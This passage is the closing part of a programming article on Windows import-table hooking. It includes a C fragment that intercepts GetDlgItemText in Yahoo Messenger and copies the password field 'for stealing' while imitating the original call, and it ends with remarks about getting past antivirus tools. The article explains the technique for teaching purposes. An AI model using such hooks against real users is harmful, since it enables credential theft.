       GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);
       break;
    
    case 212:    // Password
       // for stealing
       GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127);
       // ...
       // Emulate the original
       GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);
       break;
    
    default:
       // Emulate the original
       GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);
    }
    

[ym_hook_1.gif]

Figure 14: Hooking Yahoo Messenger

Now, I believe there is no total safety. Someone can steal my Yahoo ID and its password with a few pieces of code. We live in an insecure world!

7. Consequences

The Import Table is an essential part of a Windows executable file. The knowledge of the import table performance helps you realize how an API is requested during runtime. You can redirect the import table to another executable memory inside the current process memory to prevent reverse activity with your own PE loader and also to hook the API functions. It is possible to modify the import table of a process at runtime by freezing and unfreezing the process from the outside. This disaster forces you to think more concerning security equipment—for instance, antivirus, firewall, and so forth. Nevertheless, they do not have any benefit against the new methods that appear in the world every day. Moreover, this concept aids you to establish your virtual machine monitor to run the Windows executable file inside a separate environment inside Windows or Linux. Consequently, I do not need Windows System anymore to run my Windows EXE files!

Further Reading

Documents

Links

  • NTCore, System and Security team.
  • Rootkit, The Online Rootkit Magazine.


Downloads

Comments

  • There are no comments yet. Be the first to comment!

Leave a Comment
  • Your email address will not be published. All fields are required.

Top White Papers and Webcasts

  • Live Event Date: October 29, 2014 @ 11:00 a.m. ET / 8:00 a.m. PT Are you interested in building a cognitive application using the power of IBM Watson? Need a platform that provides speed and ease for rapidly deploying this application? Join Chris Madison, Watson Solution Architect, as he walks through the process of building a Watson powered application on IBM Bluemix. Chris will talk about the new Watson Services just released on IBM bluemix, but more importantly he will do a step by step cognitive …

  • It's no secret what keeps CIOs up at night. Mobile, cloud, data, security, and social have become the "five imperatives," the drivers of business progress, innovation, and competitive differentiation. Business leaders around the world want to hear how other companies are succeeding. How are they applying the latest technologies? How did they get started? What outcomes are they achieving? Read this online magazine for success stories from organizations like the NBA, Pfizer, and San Jose State University as they …

Most Popular Programming Stories

More for Developers

Latest Developer Headlines

RSS Feeds